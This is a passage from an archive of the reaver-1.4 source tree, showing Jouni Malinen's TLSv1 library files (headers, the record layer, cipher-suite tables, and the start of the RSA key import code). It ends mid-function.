tlsv1_server_set_cipher_list(struct tlsv1_server *conn, u8 *ciphers); int tlsv1_server_set_verify(struct tlsv1_server *conn, int verify_peer); typedef int (*tlsv1_server_session_ticket_cb) (void *ctx, const u8 *ticket, size_t len, const u8 *client_random, const u8 *server_random, u8 *master_secret); void tlsv1_server_set_session_ticket_cb(struct tlsv1_server *conn, tlsv1_server_session_ticket_cb cb, void *ctx); #endif /* TLSV1_SERVER_H */ reaver-1.4/src/tls/tlsv1_client.h0000755000175000017500000000423411705505260016354 0ustar reaverreaver/* * TLSv1 client (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_CLIENT_H #define TLSV1_CLIENT_H #include "tlsv1_cred.h" struct tlsv1_client; int tlsv1_client_global_init(void); void tlsv1_client_global_deinit(void); struct tlsv1_client * tlsv1_client_init(void); void tlsv1_client_deinit(struct tlsv1_client *conn); int tlsv1_client_established(struct tlsv1_client *conn); int tlsv1_client_prf(struct tlsv1_client *conn, const char *label, int server_random_first, u8 *out, size_t out_len); u8 * tlsv1_client_handshake(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, size_t *out_len, u8 **appl_data, size_t *appl_data_len); int tlsv1_client_encrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_client_decrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_client_get_cipher(struct tlsv1_client *conn, char *buf, size_t buflen); int tlsv1_client_shutdown(struct tlsv1_client *conn); int tlsv1_client_resumed(struct tlsv1_client *conn); int tlsv1_client_hello_ext(struct tlsv1_client *conn, int ext_type, const u8 *data, size_t data_len); int tlsv1_client_get_keys(struct tlsv1_client *conn, struct tls_keys *keys); int tlsv1_client_get_keyblock_size(struct tlsv1_client *conn); int tlsv1_client_set_cipher_list(struct tlsv1_client *conn, u8 *ciphers); int tlsv1_client_set_cred(struct tlsv1_client *conn, struct tlsv1_credentials *cred); typedef int (*tlsv1_client_session_ticket_cb) (void *ctx, const u8 *ticket, size_t len, const u8 *client_random, const u8 *server_random, u8 *master_secret); void tlsv1_client_set_session_ticket_cb(struct tlsv1_client *conn, tlsv1_client_session_ticket_cb cb, void *ctx); #endif /* TLSV1_CLIENT_H */ reaver-1.4/src/tls/asn1.h0000755000175000017500000000447611705505260014617 0ustar reaverreaver/* * ASN.1 DER parsing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef ASN1_H #define ASN1_H #define ASN1_TAG_EOC 0x00 /* not used with DER */ #define ASN1_TAG_BOOLEAN 0x01 #define ASN1_TAG_INTEGER 0x02 #define ASN1_TAG_BITSTRING 0x03 #define ASN1_TAG_OCTETSTRING 0x04 #define ASN1_TAG_NULL 0x05 #define ASN1_TAG_OID 0x06 #define ASN1_TAG_OBJECT_DESCRIPTOR 0x07 /* not yet parsed */ #define ASN1_TAG_EXTERNAL 0x08 /* not yet parsed */ #define ASN1_TAG_REAL 0x09 /* not yet parsed */ #define ASN1_TAG_ENUMERATED 0x0A /* not yet parsed */ #define ASN1_TAG_UTF8STRING 0x0C /* not yet parsed */ #define ANS1_TAG_RELATIVE_OID 0x0D #define ASN1_TAG_SEQUENCE 0x10 /* shall be constructed */ #define ASN1_TAG_SET 0x11 #define ASN1_TAG_NUMERICSTRING 0x12 /* not yet parsed */ #define ASN1_TAG_PRINTABLESTRING 0x13 #define ASN1_TAG_TG1STRING 0x14 /* not yet parsed */ #define ASN1_TAG_VIDEOTEXSTRING 0x15 /* not yet parsed */ #define ASN1_TAG_IA5STRING 0x16 #define ASN1_TAG_UTCTIME 0x17 #define ASN1_TAG_GENERALIZEDTIME 0x18 /* not yet parsed */ #define ASN1_TAG_GRAPHICSTRING 0x19 /* not yet parsed */ #define ASN1_TAG_VISIBLESTRING 0x1A #define ASN1_TAG_GENERALSTRING 0x1B /* not yet parsed */ #define ASN1_TAG_UNIVERSALSTRING 0x1C /* not yet parsed */ #define ASN1_TAG_BMPSTRING 0x1D /* not yet parsed */ #define ASN1_CLASS_UNIVERSAL 0 #define ASN1_CLASS_APPLICATION 1 #define ASN1_CLASS_CONTEXT_SPECIFIC 2 #define ASN1_CLASS_PRIVATE 3 struct asn1_hdr { const u8 *payload; u8 identifier, class, constructed; unsigned int tag, length; }; #define ASN1_MAX_OID_LEN 20 struct asn1_oid { unsigned long oid[ASN1_MAX_OID_LEN]; size_t len; }; int asn1_get_next(const u8 *buf, size_t len, struct asn1_hdr *hdr); int asn1_parse_oid(const u8 *buf, size_t len, struct asn1_oid *oid); int asn1_get_oid(const u8 *buf, size_t len, struct asn1_oid *oid, const u8 **next); void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len); unsigned long asn1_bit_string_to_long(const u8 *buf, size_t len); #endif /* ASN1_H */ reaver-1.4/src/tls/tlsv1_record.c0000755000175000017500000002650711705505260016356 0ustar reaverreaver/* * TLSv1 Record Protocol * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "tlsv1_common.h" #include "tlsv1_record.h" /** * tlsv1_record_set_cipher_suite - TLS record layer: Set cipher suite * @rl: Pointer to TLS record layer data * @cipher_suite: New cipher suite * Returns: 0 on success, -1 on failure * * This function is used to prepare TLS record layer for cipher suite change. * tlsv1_record_change_write_cipher() and * tlsv1_record_change_read_cipher() functions can then be used to change the * currently used ciphers. */ int tlsv1_record_set_cipher_suite(struct tlsv1_record_layer *rl, u16 cipher_suite) { const struct tls_cipher_suite *suite; const struct tls_cipher_data *data; wpa_printf(MSG_DEBUG, "TLSv1: Selected cipher suite: 0x%04x", cipher_suite); rl->cipher_suite = cipher_suite; suite = tls_get_cipher_suite(cipher_suite); if (suite == NULL) return -1; if (suite->hash == TLS_HASH_MD5) { rl->hash_alg = CRYPTO_HASH_ALG_HMAC_MD5; rl->hash_size = MD5_MAC_LEN; } else if (suite->hash == TLS_HASH_SHA) { rl->hash_alg = CRYPTO_HASH_ALG_HMAC_SHA1; rl->hash_size = SHA1_MAC_LEN; } data = tls_get_cipher_data(suite->cipher); if (data == NULL) return -1; rl->key_material_len = data->key_material; rl->iv_size = data->block_size; rl->cipher_alg = data->alg; return 0; } /** * tlsv1_record_change_write_cipher - TLS record layer: Change write cipher * @rl: Pointer to TLS record layer data * Returns: 0 on success (cipher changed), -1 on failure * * This function changes TLS record layer to use the new cipher suite * configured with tlsv1_record_set_cipher_suite() for writing. */ int tlsv1_record_change_write_cipher(struct tlsv1_record_layer *rl) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - New write cipher suite " "0x%04x", rl->cipher_suite); rl->write_cipher_suite = rl->cipher_suite; os_memset(rl->write_seq_num, 0, TLS_SEQ_NUM_LEN); if (rl->write_cbc) { crypto_cipher_deinit(rl->write_cbc); rl->write_cbc = NULL; } if (rl->cipher_alg != CRYPTO_CIPHER_NULL) { rl->write_cbc = crypto_cipher_init(rl->cipher_alg, rl->write_iv, rl->write_key, rl->key_material_len); if (rl->write_cbc == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize " "cipher"); return -1; } } return 0; } /** * tlsv1_record_change_read_cipher - TLS record layer: Change read cipher * @rl: Pointer to TLS record layer data * Returns: 0 on success (cipher changed), -1 on failure * * This function changes TLS record layer to use the new cipher suite * configured with tlsv1_record_set_cipher_suite() for reading. */ int tlsv1_record_change_read_cipher(struct tlsv1_record_layer *rl) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - New read cipher suite " "0x%04x", rl->cipher_suite); rl->read_cipher_suite = rl->cipher_suite; os_memset(rl->read_seq_num, 0, TLS_SEQ_NUM_LEN); if (rl->read_cbc) { crypto_cipher_deinit(rl->read_cbc); rl->read_cbc = NULL; } if (rl->cipher_alg != CRYPTO_CIPHER_NULL) { rl->read_cbc = crypto_cipher_init(rl->cipher_alg, rl->read_iv, rl->read_key, rl->key_material_len); if (rl->read_cbc == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize " "cipher"); return -1; } } return 0; } /** * tlsv1_record_send - TLS record layer: Send a message * @rl: Pointer to TLS record layer data * @content_type: Content type (TLS_CONTENT_TYPE_*) * @buf: Buffer to send (with TLS_RECORD_HEADER_LEN octets reserved in the * beginning for record layer to fill in; payload filled in after this and * extra space in the end for HMAC). * @buf_size: Maximum buf size * @payload_len: Length of the payload * @out_len: Buffer for returning the used buf length * Returns: 0 on success, -1 on failure * * This function fills in the TLS record layer header, adds HMAC, and encrypts * the data using the current write cipher. */ int tlsv1_record_send(struct tlsv1_record_layer *rl, u8 content_type, u8 *buf, size_t buf_size, size_t payload_len, size_t *out_len) { u8 *pos, *ct_start, *length, *payload; struct crypto_hash *hmac; size_t clen; pos = buf; /* ContentType type */ ct_start = pos; *pos++ = content_type; /* ProtocolVersion version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* uint16 length */ length = pos; WPA_PUT_BE16(length, payload_len); pos += 2; /* opaque fragment[TLSPlaintext.length] */ payload = pos; pos += payload_len; if (rl->write_cipher_suite != TLS_NULL_WITH_NULL_NULL) { hmac = crypto_hash_init(rl->hash_alg, rl->write_mac_secret, rl->hash_size); if (hmac == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to initialize HMAC"); return -1; } crypto_hash_update(hmac, rl->write_seq_num, TLS_SEQ_NUM_LEN); /* type + version + length + fragment */ crypto_hash_update(hmac, ct_start, pos - ct_start); clen = buf + buf_size - pos; if (clen < rl->hash_size) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Not " "enough room for MAC"); crypto_hash_finish(hmac, NULL, NULL); return -1; } if (crypto_hash_finish(hmac, pos, &clen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to calculate HMAC"); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Write HMAC", pos, clen); pos += clen; if (rl->iv_size) { size_t len = pos - payload; size_t pad; pad = (len + 1) % rl->iv_size; if (pad) pad = rl->iv_size - pad; if (pos + pad + 1 > buf + buf_size) { wpa_printf(MSG_DEBUG, "TLSv1: No room for " "block cipher padding"); return -1; } os_memset(pos, pad, pad + 1); pos += pad + 1; } if (crypto_cipher_encrypt(rl->write_cbc, payload, payload, pos - payload) < 0) return -1; } WPA_PUT_BE16(length, pos - length - 2); inc_byte_array(rl->write_seq_num, TLS_SEQ_NUM_LEN); *out_len = pos - buf; return 0; } /** * tlsv1_record_receive - TLS record layer: Process a received message * @rl: Pointer to TLS record layer data * @in_data: Received data * @in_len: Length of the received data * @out_data: Buffer for output data (must be at least as long as in_data) * @out_len: Set to maximum out_data length by caller; used to return the * length of the used data * @alert: Buffer for returning an alert value on failure * Returns: 0 on success, -1 on failure * * This function decrypts the received message, verifies HMAC and TLS record * layer header. */ int tlsv1_record_receive(struct tlsv1_record_layer *rl, const u8 *in_data, size_t in_len, u8 *out_data, size_t *out_len, u8 *alert) { size_t i, rlen, hlen; u8 padlen; struct crypto_hash *hmac; u8 len[2], hash[100]; wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Received", in_data, in_len); if (in_len < TLS_RECORD_HEADER_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record (in_len=%lu)", (unsigned long) in_len); *alert = TLS_ALERT_DECODE_ERROR; return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received content type %d version %d.%d " "length %d", in_data[0], in_data[1], in_data[2], WPA_GET_BE16(in_data + 3)); if (in_data[0] != TLS_CONTENT_TYPE_HANDSHAKE && in_data[0] != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC && in_data[0] != TLS_CONTENT_TYPE_ALERT && in_data[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type 0x%x", in_data[0]); *alert = TLS_ALERT_UNEXPECTED_MESSAGE; return -1; } if (WPA_GET_BE16(in_data + 1) != TLS_VERSION) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version " "%d.%d", in_data[1], in_data[2]); *alert = TLS_ALERT_PROTOCOL_VERSION; return -1; } rlen = WPA_GET_BE16(in_data + 3); /* TLSCiphertext must not be more than 2^14+2048 bytes */ if (TLS_RECORD_HEADER_LEN + rlen > 18432) { wpa_printf(MSG_DEBUG, "TLSv1: Record overflow (len=%lu)", (unsigned long) (TLS_RECORD_HEADER_LEN + rlen)); *alert = TLS_ALERT_RECORD_OVERFLOW; return -1; } in_data += TLS_RECORD_HEADER_LEN; in_len -= TLS_RECORD_HEADER_LEN; if (rlen > in_len) { wpa_printf(MSG_DEBUG, "TLSv1: Not all record data included " "(rlen=%lu > in_len=%lu)", (unsigned long) rlen, (unsigned long) in_len); *alert = TLS_ALERT_DECODE_ERROR; return -1; } in_len = rlen; if (*out_len < in_len) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough output buffer for " "processing received record"); *alert = TLS_ALERT_INTERNAL_ERROR; return -1; } os_memcpy(out_data, in_data, in_len); *out_len = in_len; if (rl->read_cipher_suite != TLS_NULL_WITH_NULL_NULL) { if (crypto_cipher_decrypt(rl->read_cbc, out_data, out_data, in_len) < 0) { *alert = TLS_ALERT_DECRYPTION_FAILED; return -1; } if (rl->iv_size) { if (in_len == 0) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record" " (no pad)"); *alert = TLS_ALERT_DECODE_ERROR; return -1; } padlen = out_data[in_len - 1]; if (padlen >= in_len) { wpa_printf(MSG_DEBUG, "TLSv1: Incorrect pad " "length (%u, in_len=%lu) in " "received record", padlen, (unsigned long) in_len); *alert = TLS_ALERT_DECRYPTION_FAILED; return -1; } for (i = in_len - padlen; i < in_len; i++) { if (out_data[i] != padlen) { wpa_hexdump(MSG_DEBUG, "TLSv1: Invalid pad in " "received record", out_data + in_len - padlen, padlen); *alert = TLS_ALERT_DECRYPTION_FAILED; return -1; } } *out_len -= padlen + 1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: Record Layer - Decrypted data", out_data, in_len); if (*out_len < rl->hash_size) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record; no " "hash value"); *alert = TLS_ALERT_INTERNAL_ERROR; return -1; } *out_len -= rl->hash_size; hmac = crypto_hash_init(rl->hash_alg, rl->read_mac_secret, rl->hash_size); if (hmac == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to initialize HMAC"); *alert = TLS_ALERT_INTERNAL_ERROR; return -1; } crypto_hash_update(hmac, rl->read_seq_num, TLS_SEQ_NUM_LEN); /* type + version + length + fragment */ crypto_hash_update(hmac, in_data - TLS_RECORD_HEADER_LEN, 3); WPA_PUT_BE16(len, *out_len); crypto_hash_update(hmac, len, 2); crypto_hash_update(hmac, out_data, *out_len); hlen = sizeof(hash); if (crypto_hash_finish(hmac, hash, &hlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - Failed " "to calculate HMAC"); return -1; } if (hlen != rl->hash_size || os_memcmp(hash, out_data + *out_len, hlen) != 0) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid HMAC value in " "received message"); *alert = TLS_ALERT_BAD_RECORD_MAC; return -1; } } /* TLSCompressed must not be more than 2^14+1024 bytes */ if (TLS_RECORD_HEADER_LEN + *out_len > 17408) { wpa_printf(MSG_DEBUG, "TLSv1: Record overflow (len=%lu)", (unsigned long) (TLS_RECORD_HEADER_LEN + *out_len)); *alert = TLS_ALERT_RECORD_OVERFLOW; return -1; } inc_byte_array(rl->read_seq_num, TLS_SEQ_NUM_LEN); return 0; } reaver-1.4/src/tls/rsa.h0000755000175000017500000000154411705505260014533 0ustar reaverreaver/* * RSA * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef RSA_H #define RSA_H struct crypto_rsa_key; struct crypto_rsa_key * crypto_rsa_import_public_key(const u8 *buf, size_t len); struct crypto_rsa_key * crypto_rsa_import_private_key(const u8 *buf, size_t len); size_t crypto_rsa_get_modulus_len(struct crypto_rsa_key *key); int crypto_rsa_exptmod(const u8 *in, size_t inlen, u8 *out, size_t *outlen, struct crypto_rsa_key *key, int use_private); void crypto_rsa_free(struct crypto_rsa_key *key); #endif /* RSA_H */ reaver-1.4/src/tls/pkcs8.h0000755000175000017500000000121711705505260014773 0ustar reaverreaver/* * PKCS #8 (Private-key information syntax) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PKCS8_H #define PKCS8_H struct crypto_private_key * pkcs8_key_import(const u8 *buf, size_t len); struct crypto_private_key * pkcs8_enc_key_import(const u8 *buf, size_t len, const char *passwd); #endif /* PKCS8_H */ reaver-1.4/src/tls/bignum.h0000755000175000017500000000253311705505260015226 0ustar reaverreaver/* * Big number math * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef BIGNUM_H #define BIGNUM_H struct bignum; struct bignum * bignum_init(void); void bignum_deinit(struct bignum *n); size_t bignum_get_unsigned_bin_len(struct bignum *n); int bignum_get_unsigned_bin(const struct bignum *n, u8 *buf, size_t *len); int bignum_set_unsigned_bin(struct bignum *n, const u8 *buf, size_t len); int bignum_cmp(const struct bignum *a, const struct bignum *b); int bignum_cmp_d(const struct bignum *a, unsigned long b); int bignum_add(const struct bignum *a, const struct bignum *b, struct bignum *c); int bignum_sub(const struct bignum *a, const struct bignum *b, struct bignum *c); int bignum_mul(const struct bignum *a, const struct bignum *b, struct bignum *c); int bignum_mulmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d); int bignum_exptmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d); #endif /* BIGNUM_H */ reaver-1.4/src/tls/Makefile0000755000175000017500000000101711705505260015230 0ustar reaverreaverall: libtls.a clean: rm -f *~ *.o *.d libtls.a install: @echo Nothing to be made. include ../common/lib.rules CFLAGS += -DCONFIG_INTERNAL_LIBTOMMATH CFLAGS += -DCONFIG_CRYPTO_INTERNAL LIB_OBJS= \ asn1.o \ bignum.o \ pkcs1.o \ pkcs5.o \ pkcs8.o \ rsa.o \ tlsv1_client.o \ tlsv1_client_read.o \ tlsv1_client_write.o \ tlsv1_common.o \ tlsv1_cred.o \ tlsv1_record.o \ tlsv1_server.o \ tlsv1_server_read.o \ tlsv1_server_write.o \ x509v3.o libtls.a: $(LIB_OBJS) $(AR) crT $@ $? -include $(OBJS:%.o=%.d) reaver-1.4/src/tls/tlsv1_common.c0000755000175000017500000001652111705505260016363 0ustar reaverreaver/* * TLSv1 common routines * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "x509v3.h" #include "tlsv1_common.h" /* * TODO: * RFC 2246 Section 9: Mandatory to implement TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA * Add support for commonly used cipher suites; don't bother with exportable * suites. */ static const struct tls_cipher_suite tls_cipher_suites[] = { { TLS_NULL_WITH_NULL_NULL, TLS_KEY_X_NULL, TLS_CIPHER_NULL, TLS_HASH_NULL }, { TLS_RSA_WITH_RC4_128_MD5, TLS_KEY_X_RSA, TLS_CIPHER_RC4_128, TLS_HASH_MD5 }, { TLS_RSA_WITH_RC4_128_SHA, TLS_KEY_X_RSA, TLS_CIPHER_RC4_128, TLS_HASH_SHA }, { TLS_RSA_WITH_DES_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_DES_CBC, TLS_HASH_SHA }, { TLS_RSA_WITH_3DES_EDE_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_3DES_EDE_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_RC4_128_MD5, TLS_KEY_X_DH_anon, TLS_CIPHER_RC4_128, TLS_HASH_MD5 }, { TLS_DH_anon_WITH_DES_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_DES_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_3DES_EDE_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_3DES_EDE_CBC, TLS_HASH_SHA }, { TLS_RSA_WITH_AES_128_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_AES_128_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_AES_128_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_AES_128_CBC, TLS_HASH_SHA }, { TLS_RSA_WITH_AES_256_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_AES_256_CBC, TLS_HASH_SHA }, { TLS_DH_anon_WITH_AES_256_CBC_SHA, TLS_KEY_X_DH_anon, TLS_CIPHER_AES_256_CBC, TLS_HASH_SHA } }; #define NUM_ELEMS(a) (sizeof(a) / sizeof((a)[0])) #define NUM_TLS_CIPHER_SUITES NUM_ELEMS(tls_cipher_suites) static const struct tls_cipher_data tls_ciphers[] = { { TLS_CIPHER_NULL, TLS_CIPHER_STREAM, 0, 0, 0, CRYPTO_CIPHER_NULL }, { TLS_CIPHER_IDEA_CBC, TLS_CIPHER_BLOCK, 16, 16, 8, CRYPTO_CIPHER_NULL }, { TLS_CIPHER_RC2_CBC_40, TLS_CIPHER_BLOCK, 5, 16, 0, CRYPTO_CIPHER_ALG_RC2 }, { TLS_CIPHER_RC4_40, TLS_CIPHER_STREAM, 5, 16, 0, CRYPTO_CIPHER_ALG_RC4 }, { TLS_CIPHER_RC4_128, TLS_CIPHER_STREAM, 16, 16, 0, CRYPTO_CIPHER_ALG_RC4 }, { TLS_CIPHER_DES40_CBC, TLS_CIPHER_BLOCK, 5, 8, 8, CRYPTO_CIPHER_ALG_DES }, { TLS_CIPHER_DES_CBC, TLS_CIPHER_BLOCK, 8, 8, 8, CRYPTO_CIPHER_ALG_DES }, { TLS_CIPHER_3DES_EDE_CBC, TLS_CIPHER_BLOCK, 24, 24, 8, CRYPTO_CIPHER_ALG_3DES }, { TLS_CIPHER_AES_128_CBC, TLS_CIPHER_BLOCK, 16, 16, 16, CRYPTO_CIPHER_ALG_AES }, { TLS_CIPHER_AES_256_CBC, TLS_CIPHER_BLOCK, 32, 32, 16, CRYPTO_CIPHER_ALG_AES } }; #define NUM_TLS_CIPHER_DATA NUM_ELEMS(tls_ciphers) /** * tls_get_cipher_suite - Get TLS cipher suite * @suite: Cipher suite identifier * Returns: Pointer to the cipher data or %NULL if not found */ const struct tls_cipher_suite * tls_get_cipher_suite(u16 suite) { size_t i; for (i = 0; i < NUM_TLS_CIPHER_SUITES; i++) if (tls_cipher_suites[i].suite == suite) return &tls_cipher_suites[i]; return NULL; } const struct tls_cipher_data * tls_get_cipher_data(tls_cipher cipher) { size_t i; for (i = 0; i < NUM_TLS_CIPHER_DATA; i++) if (tls_ciphers[i].cipher == cipher) return &tls_ciphers[i]; return NULL; } int tls_server_key_exchange_allowed(tls_cipher cipher) { const struct tls_cipher_suite *suite; /* RFC 2246, Section 7.4.3 */ suite = tls_get_cipher_suite(cipher); if (suite == NULL) return 0; switch (suite->key_exchange) { case TLS_KEY_X_DHE_DSS: case TLS_KEY_X_DHE_DSS_EXPORT: case TLS_KEY_X_DHE_RSA: case TLS_KEY_X_DHE_RSA_EXPORT: case TLS_KEY_X_DH_anon_EXPORT: case TLS_KEY_X_DH_anon: return 1; case TLS_KEY_X_RSA_EXPORT: return 1 /* FIX: public key len > 512 bits */; default: return 0; } } /** * tls_parse_cert - Parse DER encoded X.509 certificate and get public key * @buf: ASN.1 DER encoded certificate * @len: Length of the buffer * @pk: Buffer for returning the allocated public key * Returns: 0 on success, -1 on failure * * This functions parses an ASN.1 DER encoded X.509 certificate and retrieves * the public key from it. The caller is responsible for freeing the public key * by calling crypto_public_key_free(). */ int tls_parse_cert(const u8 *buf, size_t len, struct crypto_public_key **pk) { struct x509_certificate *cert; wpa_hexdump(MSG_MSGDUMP, "TLSv1: Parse ASN.1 DER certificate", buf, len); *pk = crypto_public_key_from_cert(buf, len); if (*pk) return 0; cert = x509_certificate_parse(buf, len); if (cert == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse X.509 " "certificate"); return -1; } /* TODO * verify key usage (must allow encryption) * * All certificate profiles, key and cryptographic formats are * defined by the IETF PKIX working group [PKIX]. When a key * usage extension is present, the digitalSignature bit must be * set for the key to be eligible for signing, as described * above, and the keyEncipherment bit must be present to allow * encryption, as described above. The keyAgreement bit must be * set on Diffie-Hellman certificates. (PKIX: RFC 3280) */ *pk = crypto_public_key_import(cert->public_key, cert->public_key_len); x509_certificate_free(cert); if (*pk == NULL) { wpa_printf(MSG_ERROR, "TLSv1: Failed to import " "server public key"); return -1; } return 0; } int tls_verify_hash_init(struct tls_verify_hash *verify) { tls_verify_hash_free(verify); verify->md5_client = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); verify->md5_server = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); verify->md5_cert = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); verify->sha1_client = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); verify->sha1_server = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); verify->sha1_cert = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); if (verify->md5_client == NULL || verify->md5_server == NULL || verify->md5_cert == NULL || verify->sha1_client == NULL || verify->sha1_server == NULL || verify->sha1_cert == NULL) { tls_verify_hash_free(verify); return -1; } return 0; } void tls_verify_hash_add(struct tls_verify_hash *verify, const u8 *buf, size_t len) { if (verify->md5_client && verify->sha1_client) { crypto_hash_update(verify->md5_client, buf, len); crypto_hash_update(verify->sha1_client, buf, len); } if (verify->md5_server && verify->sha1_server) { crypto_hash_update(verify->md5_server, buf, len); crypto_hash_update(verify->sha1_server, buf, len); } if (verify->md5_cert && verify->sha1_cert) { crypto_hash_update(verify->md5_cert, buf, len); crypto_hash_update(verify->sha1_cert, buf, len); } } void tls_verify_hash_free(struct tls_verify_hash *verify) { crypto_hash_finish(verify->md5_client, NULL, NULL); crypto_hash_finish(verify->md5_server, NULL, NULL); crypto_hash_finish(verify->md5_cert, NULL, NULL); crypto_hash_finish(verify->sha1_client, NULL, NULL); crypto_hash_finish(verify->sha1_server, NULL, NULL); crypto_hash_finish(verify->sha1_cert, NULL, NULL); verify->md5_client = NULL; verify->md5_server = NULL; verify->md5_cert = NULL; verify->sha1_client = NULL; verify->sha1_server = NULL; verify->sha1_cert = NULL; } reaver-1.4/src/tls/rsa.c0000755000175000017500000002100511705505260014520 0ustar reaverreaver/* * RSA * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "asn1.h" #include "bignum.h" #include "rsa.h" struct crypto_rsa_key { int private_key; /* whether private key is set */ struct bignum *n; /* modulus (p * q) */ struct bignum *e; /* public exponent */ /* The following parameters are available only if private_key is set */ struct bignum *d; /* private exponent */ struct bignum *p; /* prime p (factor of n) */ struct bignum *q; /* prime q (factor of n) */ struct bignum *dmp1; /* d mod (p - 1); CRT exponent */ struct bignum *dmq1; /* d mod (q - 1); CRT exponent */ struct bignum *iqmp; /* 1 / q mod p; CRT coefficient */ }; static const u8 * crypto_rsa_parse_integer(const u8 *pos, const u8 *end, struct bignum *num) { struct asn1_hdr hdr; if (pos == NULL) return NULL; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "RSA: Expected INTEGER - found class %d " "tag 0x%x", hdr.class, hdr.tag); return NULL; } if (bignum_set_unsigned_bin(num, hdr.payload, hdr.length) < 0) { wpa_printf(MSG_DEBUG, "RSA: Failed to parse INTEGER"); return NULL; } return hdr.payload + hdr.length; } /** * crypto_rsa_import_public_key - Import an RSA public key * @buf: Key buffer (DER encoded RSA public key) * @len: Key buffer length in bytes * Returns: Pointer to the public key or %NULL on failure */ struct crypto_rsa_key * crypto_rsa_import_public_key(const u8 *buf, size_t len) { struct crypto_rsa_key *key; struct asn1_hdr hdr; const u8 *pos, *end; key = os_zalloc(sizeof(*key)); if (key == NULL) return NULL; key->n = bignum_init(); key->e = bignum_init(); if (key->n == NULL || key->e == NULL) { crypto_rsa_free(key); return NULL; } /* * PKCS #1, 7.1: * RSAPublicKey ::= SEQUENCE { * modulus INTEGER, -- n * publicExponent INTEGER -- e * } */ if (asn1_get_next(buf, len, &hdr) < 0 || 